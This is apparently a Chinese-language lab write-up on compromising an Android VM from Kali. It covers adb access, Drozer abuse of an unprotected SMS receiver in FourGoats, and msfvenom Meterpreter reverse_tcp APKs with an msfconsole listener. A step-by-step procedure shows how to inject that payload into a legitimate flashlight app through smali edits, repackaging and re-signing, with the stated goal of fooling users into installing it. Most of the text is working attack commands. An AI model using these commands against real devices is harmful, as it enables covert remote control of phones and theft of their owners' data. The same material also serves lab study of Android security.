这个实验的主要内容是通过kaliVM进行各种操作控制 Android 设备的尝试。
1.实验设置 工具下载
需要的工具和下载链接:
Virtualbox,虚拟机软件,也可使用vamware等其他: https://www.virtualbox.org/wiki/Downloads
KaliVM,一个基于 Debian 的 Linux 发行版,主要用来进行安全审计,渗透测试等活动,囊括了大多数开源安全测试工具:https://images.offensive-security.com/virtual-images/kali-linux-2018.4-vbox-amd64.ova
Android x86 5.1 RC1 VM,安卓虚拟机: https://sourceforge.net/projects/osboxes/files/v/vb/1-A-d/5.1/A-rc-1.7z/download
网络设置:
2. 安卓设备发现和adb访问
使用Kali VM。 扫描10.0.0/*网段以查看有哪些设备,这里Android虚拟机的ip是10.0.0.4。
扫描网络命令:namp 10.0.0.*/24
使用adb连接到Android x86 VM。 如果未安装,使用apt-get安装。
Adb的全称为Android Debug Bridge:android调试桥梁,Android的初衷是用adb这样的一个工具来协助开发人员在开发android应用的过程中更快更好的调试apk。但也可以被用来非法访问他人的Android设备。
Adb参考链接(很烦这些转载不贴原链接的):https://blog.csdn.net/zhonglunshun/article/details/78362439
浏览所有安装包:pm list packages
卸载应用程序notepad:pm uninstall --user 0 com.example.android.notepad
还可以查看不同应用程序的sqlite数据库,这里安装了一个ES File Explorer,查看他的数据库可以看到安卓设备中的文件信息:
使用sql查看一下不同文件的数量
3. AndroidManifest.xml文件获取与解析
AndroidManifest.xml是Android应用程序中非常重要的一部分,所有应用程序的组件(活动,服务,内容提供者和广播接收者)都在此文件中定义。
使用Kali VM,获取Android设备的并找到YouTube应用程序的安装位置。 找到它的apk文件并在本地下载。
apk文件只是一个包含所有必要文件的存档,以便Android操作系统理解和执行应用程序。 解压缩并查看AndroidManifest.xml文件的内容。
通过adb链接我们获取了Android的shell,找到YouTube的目录,找到YouTube.apk并通过adb下载下来。
浏览YouTube目录: ls system/app/YouTube/
通过adb下载apk命令: adb pull system/app/YouTube/YouTube.apk
解压浏览apk的内容,找到AndroidManifest.xml文件
解压命令:unzip YouTube.apk
4. 修改apk包 调用短信接口
Drozer是MWR Labs开发的一款Android安全测试框架。可以用它分析app的漏洞
参考链接
安装 //www.greatytc.com/p/4ef5b26dd3fb
使用 //www.greatytc.com/p/dfa92bab3a55
我们找到一个简单的app,FourGoats,通过Drozer去分析漏洞
查看broadcast receivers,发现这个接口没有权限要求
尝试调用这个接口,程序崩溃,因为我们发送给receiver的请求没有正确对应的参数
通过jadx查看FourGoats的源代码,我们找到了正确的参数,添加参数,重新调用命令。
命令: run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber "1234567" --extra string message "test message"
成功发送短信
5. 构建恶意app获取shell链接
英文的参考链接:Lab: Hacking an Android Device with MSFvenom
1.使用msfconsole监听端口
Msfconsole提供了一个一体化的集中控制台。通过msfconsole,你可以访问和使用所有的metasploit的插件,payload,利用模块,post模块等等。参考链接 https://blog.csdn.net/whatday/article/details/82913621
启动msfconsole:msfconsole -qx “use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set ExitOnSession false; exploit –j –z”
也可以分开输入:
msfconsole -q
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set ExitOnSession false
run
打开监听
2.使用msfvenom生成恶意payload
MSFvenom是Msfpayload和Msfencode的组合,可以傻瓜式地生成各种后门程序(或一部分恶意代码payload)
参考链接 https://www.offensive-security.com/metasploit-unleashed/msfvenom/
打开新的终端窗口中,我们将使用msfvenom生成一个简单的apk文件。 使用相同的(“android / meterpreter / reverse tcp”)以连接到正在侦听端口4444的Kali VM。将此应用命名为FunnyCatClips.apk。
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk
使用adb,在Android VM上安装此应用程序并将其打开。
adb install FunnyCatClips.apk
生成恶意apk
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o FunnyCatClips.apk
使用adb安装在安卓设备上
命令:adb install FunnyCatClips.apk
在安卓设备上打开这个安卓的apk,我们监听的msfconsole控制台就能够链接到安卓设备的shell。
app在Android 上打开后,kali的控制台获得安卓设备的shell
3. 给正常app加入恶意payload
但是用户不会傻到安装一个如此可疑的app,所以我们需要找到一个正常的apk,将我们的恶意payload添加进去。
Msfvenom可以将Meterpreter的payload与另一个APK文件绑定,就可以在正常apk中加入payload。
这里有两种方法:
方法一:
msfvenom直接给apk加入payload
命令:msfvenom -x xxxx.apk -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk
方法二:
将正常的app反编译后加入payload的smali文件,重新编译并签名。
我们找到一个简单的app,手电筒flashlight,尝试将payload加入其中,并重新打包签名
1. 使用msfvenom生成payload : output.apk
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -o output.apk
2. 使用apktool工具(kali自带,如果没有,需要安装)将output.apk和flashlight.apk反编译
apktool反编译命令:apktool d –f –o flash com.fulminesoftware.flashlightlite.apk
kali上的apktool有些问题,这里我使用了mac上的apktool
3. 复制生成的payload中的com/metasploit/stage到反编译后的flashlight文件夹
output.apk的smali文件
复制到flash反编译后的对应位置
4. 打开AndroidManifest.xml文件,通过MAIN 和 LAUNCHER找到程序运行的启动文件
可以看到启动文件是FlashlightLite1280ActivityWelcom.
修改smali文件FlashlightLite1280ActivityWelcom
在此smali文件中在→onCreate(Landroid/os/Bundle;)V这行下面
加入如下代码,大概的意思是会在启动时运行我们复制进去的payload
invoke-static {p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
FlashlightLite1280ActivityWelcom.smali文件:
5 .修改 AndroidManifest.xml 中的权限
我们可能使用app原本没有要求的权限,根据需要进行添加
6 .编译修改好的apk
命令: apktool b -f flash
将编译好的包复制到kaliVM进行下一步签名操作
7 .签名并安装apk
创建keystore秘钥对
命令: keytool –genkey –v –keystore newkeys -alias mykey -keyalg RSA -validity 1000
使用jarsigner签名apk
命令: jarsigner -verbose -keystore newkey/mykey.keystore -signedjar xxx.apk mac\ apk com.ff.apk whkey
8. 使用adb安装签名好的apk,测试结果
打开Android设备上的flashlight
msfconsole监听端口成功获得了shell连接
输入pwd看看当前路径
总结
基本是按部就班的操作,但整个过程涉及的工具比较多,会有一些细节上的问题,静心思考,一步步解决即可。
对于Android用户,不要轻易下载来历不明的apk进行安装即可。
不过这个还是有难度,难免会去下载。
任何一个app得到权限就可以访问整个手机的数据,相比iOS的沙盒模式,确实没有那么安全。
哦还有,Don't be evil. 虽然Google已经摒弃这个。